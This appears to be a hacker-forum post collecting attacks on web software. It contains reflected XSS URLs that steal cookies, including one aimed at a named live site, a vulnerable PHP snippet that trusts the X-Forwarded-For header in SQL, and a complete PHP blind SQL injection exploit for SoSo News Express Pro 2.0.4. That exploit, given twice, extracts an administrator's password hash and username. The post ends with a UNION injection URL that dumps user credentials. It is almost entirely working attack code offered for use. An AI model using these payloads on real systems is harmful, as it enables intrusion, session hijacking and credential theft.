http://site/highlight/index.html?url=http://forum.antichat.ru.html&fterm=test&la=en&charset=utf-8&search=../query.html%3Fcharset%3Dutf-8%26qt%3Dtest

http://site/shop?se_namedomen=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/thanks?formobj_email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/registration?login=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.siteedit.ru/thanks?autoreply_text=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.siteedit.ru/thanks?autoreply_text=%22%3E%3Ca%20href=http://forum.antichat.ru%3Eantichat%3C/a%3E

http://www.siteedit.ru/registration?last_name=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

$this->client_ip=!empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ( !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : (!empty($REMOTE_ADDR) ? $REMOTE_ADDR : '' ));

$DB->query("SELECT session_time FROM ". $DB->prefix ."stat_session WHERE client_ip='". $Info->client_ip ."' AND session_time>=". $update_time ." ORDER BY session_time DESC LIMIT 0,1");

X_FORWARDED_FOR:-1' OR client_ip=IF(ascii(substring((SELECT user_password FROM news_user WHERE user_id=1),[POS],1))=[CHARCODE],'1',(SELECT 1 UNION SELECT 2))/*

<?

//SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
//Greets: antichat.ru & Orgasm at #antichat
$prefix="news_";

set_time_limit(0);
ignore_user_abort(1);

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="X_FORWARDED_FOR: ".$xpl."\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($condition, $pos){
	global $id, $prefix;
	$xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
	return $xpl;
}

if($argc<2)
{
echo "==================\r\n";
echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo $url."\r\n";

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){	
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=97;$j<=102;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

?>

<?

//SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
//Greets: antichat.ru & Orgasm at #antichat
$prefix="news_";

set_time_limit(0);
ignore_user_abort(1);

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="X_FORWARDED_FOR: ".$xpl."\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($condition, $pos){
	global $id, $prefix;
	$xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
	return $xpl;
}

function xpl2($condition, $pos){
	global $id, $prefix;
	$xpl="-1' or client_ip=if(ascii(substring((select username from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
	return $xpl;
}

if($argc<2)
{
echo "==================\r\n";
echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo $url."\r\n";

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){	
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=97;$j<=102;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";

echo "Trying to get username: ";
for($i=1;$i<=32;$i++){
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=65;$j<=90;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		for($j=97;$j<=122;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		echo chr(8);
		break;
	}
} 

echo " [DONE]\r\n";

?>

print.php?id='+union+select+1,concat_ws(0x3a,usern ame,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21+from+ccms_user+where+userid=1/*